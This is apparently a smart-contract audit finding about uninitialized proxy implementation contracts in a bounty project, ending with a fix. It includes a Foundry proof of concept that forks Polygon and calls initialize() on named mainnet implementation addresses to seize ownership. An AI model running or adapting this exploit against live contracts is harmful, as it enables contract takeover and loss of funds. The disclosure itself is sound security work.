7siech

medium

# Medium risk: Project deploys uninitialized implementation contracts

## Summary

The project uses a proxy pattern to make some of the contracts upgradable.  

## Vulnerability Detail

Implementation contracts don't currently disable the initializers in their constructor as per OZ recommendation.

Currently vulnerable contracts deployed on mainnet are `DepositManagerV1` and `BountyV1`. Both contracts are also vulnerable in the audit code base in addition to `TieredFixedBountyV1`, `TieredPercentageBountyV1`, `AtomicBountyV1`, `OngoingBountyV1`.

While other contracts such as `ClaimManagerV1` and `OpenQV1` are not directly vulnerable due to the `onlyProxy` modifier, it is recommended to disable the initializers in the constructor regardless. 

## Impact

Potential security risks can be introduced with future upgrades such as destruction of the implementation contracts permanently disabling upgrading and thus loss of funds.

## Code Snippet

POC demonstrating taking over currently deployed production contracts on mainnet -
https://gist.github.com/alpeware/45653ce76828d22384a239e54df65341#file-mainnetexploit-t-sol

```solidity
contract MainnetExploit is Test {

  function setUp() public {
    // fork 
    uint256 forkId = vm.createSelectFork(vm.rpcUrl("polygon"));
    vm.selectFork(forkId);
  }

  // demonstrates taking over the BountyV1 implementation contract in prod
  function testTakeOverBounty() public {
    bytes memory data = abi.encode(false, address(0x01), uint256(0));
    address imp = 0x4E60f6CaCf4b3dd274Af8E4aABC45C92667D3681;
    BountyV1 b = BountyV1(payable(imp));
    b.initialize(
      "bountyid",
      address(this),
      "org",
      address(this),
      address(this),
      address(this),
      OpenQDefinitions.InitOperation({operationType: 0, data: data})
    );
    assertEq(b.claimManager(), address(this));
  }

  function testTakeOverDepositManager() public {
    address imp = 0x825654aa738Ca2132a6652756D03B090660f08b1;
    DepositManagerV1 dm = DepositManagerV1(payable(imp));
    dm.initialize();
    //dm.upgradeTo(address(this));
    //dm.upgradeToAndCall(address(this), "");
    assertEq(dm.owner(), address(this));
  }
}
```

## Tool used

- Forgery
- Manual Review

## Recommendation

Follow the recommendation [1] and disable the initializers in the constructor of all implementation contracts instead of leaving it empty -

```solidity
 constructor() {
     _disableInitializers();
 }
```
[1] https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/utils/Initializable.sol#L43